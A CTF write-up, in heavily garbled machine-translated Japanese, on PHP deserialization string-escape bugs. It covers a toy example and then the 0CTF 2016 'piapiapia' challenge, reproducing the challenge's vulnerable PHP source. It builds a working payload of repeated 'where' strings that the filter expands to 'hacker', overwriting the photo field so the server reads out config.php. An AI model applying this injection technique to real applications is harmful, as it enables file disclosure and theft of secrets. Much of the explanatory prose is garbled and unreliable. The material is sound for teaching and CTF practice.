0x00の最初の
数日前のJoomlaは、逆シリアル化の脆弱性を壊し、その理由は、それによってRCEにおける目標噴射結果を、コンテンツのシーケンスを制御する、ユーザ制御キャラクタオーバーフローをもたらすためにフィルタリングのシーケンスの後の文字です。今日のブラシは、単に非常に興味深いので、この記事を感じ、同様の問題のCTFシーンに遭遇しました。
0x01の---私は自分自身にシリアル化の問題を打ちます
シリアライズについての何が、いくつかのセキュリティ関連でいくつかの点について主にここでそれらを繰り返すことはしません。
シンプルなシリアライズを見てください
<?php
$kk = "123";
$kk_seri = serialize($kk); //s:3:"123";
echo unserialize($kk_seri); //123
$not_kk_seri = 's:4:"123""';
echo unserialize($not_kk_seri); //123"
上記の例から見ることができ、シリアライズされた文字列は、「区切り文字としてではなく、注入された」につながるコンテンツの後ろにエスケープしません。デシリアライズ、デシリアライゼーションエンジンが長さに基づいて判断されたためです。
プログラムは短い長いコンテンツ/につながるシリアライズされたエスケープ文字列の後の文字列をフィルタリングすることであるならば、それは、このためにも、それは正常なことはできませんデシリアライズにつながります。例を見てください
<?php
$username = $_GET['username'];
$sign = "hi guys";
$user = array($username, $sign);
$seri = bad_str(serialize($user));
echo $seri;
// echo "<br>";
$user=unserialize($seri);
echo $user[0];
echo "<br>";
echo "<br>";
echo $user[1];
function bad_str($string){
return preg_replace('/\'/', 'no', $string);
}
いいえ、その結果は最終的にデシリアライズして出力を得られる単一引用符に変換するシリアル化の第1のアレイ、及びセキュリティ・フィルタをもたらす渡さbad_str()関数。通常の出力を見て:
ユーザーka1n4t個人的な署名はとてもフレンドリー。アポストロフィを持つユーザー名ならば、プログラムは、長さデシリアライズするので何も、エラーのエラー結果としてエスケープされません。
だから、有能シェーンによって間違いましたか?私たちは、後に、ユーザーのパーソナライズされた署名を制御するために制御されるすべての文字を書き換えることができます。我々は書かを注入したいデータを入れ、その後、オーバーフローの長さの問題を検討する必要があります。5:「こんにちはいいえ」;、二重引用符のユーザー名の前後に話し、S 1:たとえば、私たちは何のハイテク、この手順の結果では5の長さは、私をシリアル化する必要がある彼の個人的な署名に入れません閉じた端部ブレース "; I:1; S:5:" HI NO「;}以下に示します。
私たちは、余分な長さは、ちょうど私たちの上記の構成ペイロードに整列されていない後に脱出しbad_str()関数を経由して」欲しいです。ペイロード長が19を超えているので、我々だけで19個の文字のうちわずか1脱出した後、ペイロード入力19」、bad_strから()の前に。
ペイロードを試し:ka1n4t '' '' '' '' '' '' '' '' '' ' "; I:1; S:5:" NO HI「;}
文字のシーケンスが正常に注入されました。JoomlaのRCE原理は、数日前に真実です。実際の現場でCTFを見て、次のことで。
0×02 [0CTF 2016] piapiapia
ホームログインボックス、ない他の事
www.zip漏洩したソースコードは、ソースコードを直接ダウンロードすることができます。
config.phpの中のフラグ
Class.phpとは、MySQLデータベースのカテゴリだけでなく、ユーザモデルであります
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
profile.php個人情報を表示するために使用
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
登録ユーザーのためのregister.php
register.php
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
ユーザー情報を更新するupdate.phpを
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
私たちは、次のいくつかの手がかりを見つけることができます上記のコードを観察することで
フラグを取得するには、パラメータ$フラグの値を読み取るか、入手することができます1. config.phpファイルを。
ユーザ情報がデータベースに格納された$ USER-> update_profile()をシリアライズと通過更新しよう2.update.php 28。
3.チェックupdate_profile()ソースコード内Class.phpとし、濾過し、危険な文字が前にデータベースに格納されている最初の呼び出しフィルタ()メソッドの底を見出しました。
4.profile.php 16行が取得したファイル名とファイル内容の表示など、ユーザーの$プロファイル[「写真」]を取り出します。
5.update.php 26行は$プロファイル[「写真」]の値を見ることができるupload'.md5($ファイル[「名前である 」])、 そして私たちが管理していないため、手がかり4名。
上記の5:00に基づき、プラスプログラムシーケンスの文字列を濾過した後、スタートとしては、ここで、基本的な考え方は、制御可能なユーザーをオーバーフローが生じ、出てきたように、文字の制御シーケンスの後半、最終的な制御$プロフィール[「写真」]の値のconfig.phpには、フラグを取得することができます。
ここで重要なのは、フィルタ()メソッドClass.phpとされ、我々は、元の文字「拡張」脱出を作るために見つける必要があります。
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
ビューの長さの変化のみ、唯一where->ハッカーそれは、可変長の脱出です。update.phpをバック28行、私達はちょうど私たちのペイロードがオーバーフローしてみましょうろ過した後、フィルターを通したペイロード上のニックネームパラメータの戦い、(番号)を入力します。
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
もう一つ注意すべきは、ニックネームにupdate.phpををろ過したということです_限り、我々は[]配列をすることができニックネームを通過する以外の特殊文字を使用することはできません。
下記のペイロード構造は、式の通常のシーケンスが何であるかを見てみましょう
a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
config.phpの後のすべての文字は、つまり、写真、およびフロント式のリアクロージングシーケンスを設定されている上位KK1の除去
";}s:5:"photo";s:10:"config.php";}
フィルタ34の長さは、()の増加は、ハッカーになっている場合、我々は、34ここであり、34を追加する必要があります。ペイロードはそうなります
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
私たちは、[]渡された値は、その結果をシリアル化する必要があるニックネームとしてこれを参照してください
a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
フィルタを脱出した後()となります
a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}
正確には、桁数をカウントします。
ニックネーム[]値として、次に、送信ペイロード
更新が成功すると、アクセスprofile.phpプロファイルを見ます
成功はフラグを取得します。